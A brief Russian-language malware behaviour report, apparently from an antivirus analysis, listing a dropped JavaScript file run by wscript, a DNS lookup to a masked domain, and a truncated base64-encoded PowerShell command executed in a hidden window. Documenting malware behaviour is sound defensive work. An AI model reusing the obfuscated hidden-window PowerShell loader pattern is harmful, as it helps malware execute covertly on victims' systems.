Техническая информация
- '%WINDIR%\syswow64\wscript.exe' "%WINDIR%\Temp\DpzVbJwZwiZapkFXlgDkWNZWqtGR.js"
- '%CommonProgramFiles(x86)%\Microsoft Shared\DW\DW20.EXE' -x -s 3988
- %WINDIR%\temp\dpzvbjwzwizapkfxlgdkwnzwqtgr.js
- DNS ASK d1#####fjulianne.com
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBt... (со скрытым окном)